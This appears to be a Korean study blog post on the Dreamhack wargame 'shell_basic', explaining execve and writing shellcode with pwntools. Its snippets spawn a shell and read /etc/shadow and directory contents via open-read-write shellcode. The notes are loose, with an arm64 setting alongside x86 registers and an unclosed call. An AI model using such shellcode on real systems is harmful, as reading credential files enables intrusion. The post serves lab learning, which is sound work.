-
[Dreamhack] shell_basicsystem(pwnable)시스템(포너블)/Dreamhack wargame 2022. 11. 3. 19:28
execve, execveat 시스템 콜이란, 다른 프로그램을 실행시키고 자기자신은 종료하는 함수이다.
https://watchout31337.tistory.com/136
보통 위와 같은 방식으로 사용하는데, 풀이와 관련이 없다고 했으니 차치해두어도 될 것 같다.
우선 쉘코드란, 공격자가 시스템 명령어를 사용하기 위해 작성하는 소규모 소프트웨어이며
일반적으로 어셈블리어로 작성한 후 기계어로 변환시켜 사용한다.
pwntools를 이용하여 쉘코드를 작성하는 방법에 대해 간단한 예시들로 살펴보겠다.
$ python3 >>> from pwn import * >>> >>> context.arch = 'arm64' #사용자가 자기 쉘에 명령어를 입력할 때 $ cat /etc/shadow #쉘코드 작성용 객체 생성 >>> code = shellcraft.sh() #interactive() 사용해야지 실행하는 프로그램과 현재 프롬프트 화면이 연결됨 #쉘코드 실행 방법_1, 어셈블리 코드를 바로 실행할 수 있음 run_assembly(code).interactive() #쉘코드 실행 방법_2, 어셈블리 코드를 기계어로 변환하여 실행할 수 있음 #str타입의 code를 asm타입으로 변경 run_shellcode(asm(code)).interactive() #공격자가 쉘코드로 해당 명령을 사용할 때 $ python >>> code = asm(shellcraft.cat("/etc/shadow") #어셈블리 코드 내용을 보고싶을 때 >>> print(disasm(code))
#디렉토리 파일 읽기 #ls 명령어 입력하기 #코드 초기화 해주기 >>> code = b'' >>> code += asm(shellcraft.pushstr(".\x00")) #rsp는 ".\x00"을 가리킴, 현재위치를 읽기 전용으로 열람하기 >>> code += asm(shellcraft.open("rsp","O_RDONLY", 0)) #열람한 디렉토리에서 "sys_getdents"라는 시스템 콜을 발생시킴, 3번이 시작위치, 3번부터 열람 시작 #마지막 인자는 읽어올 글자의 수 #3번부터 1000B만큼 읽어서 rsp가 있는 곳에다가 입력 >>> code += asm(shellcraft.syscall("sys_getdents", 3, "rsp", 1000)) >>> run_shellcode(code).interactive()
#일반 파일로부터 데이터 읽어오기 #변수 초기화 >>> code = b'' >>> code += asm(shellcraft.pushstr("/etc/shadow\x00")) >>> code += asm(shellcraft.open("rsp","O_RDONLY", 0)) #100글자 읽어서 100글자 출력하기 >>> code += asm(shellcraft.read(3, "rsp", 100)) >>> code += asm(shellcraft.write(1, "rsp", 100)) >>> run_shellcode(code).interactive() #push rax가 기계어 코드로 어떻게 보이는지 출력해줌 >>> disasm(asm("push rax"))
'system(pwnable)시스템(포너블) > Dreamhack wargame' 카테고리의 다른 글
[Dreamhack] basic_exploitation_000(2) (0) 2022.10.05 pwndbg, pwntools 설치 오류 (0) 2022.10.02 [Dreamhack]basic_exploitation_000 빌드업(pwntools, gdb peda사용법) (0) 2022.09.25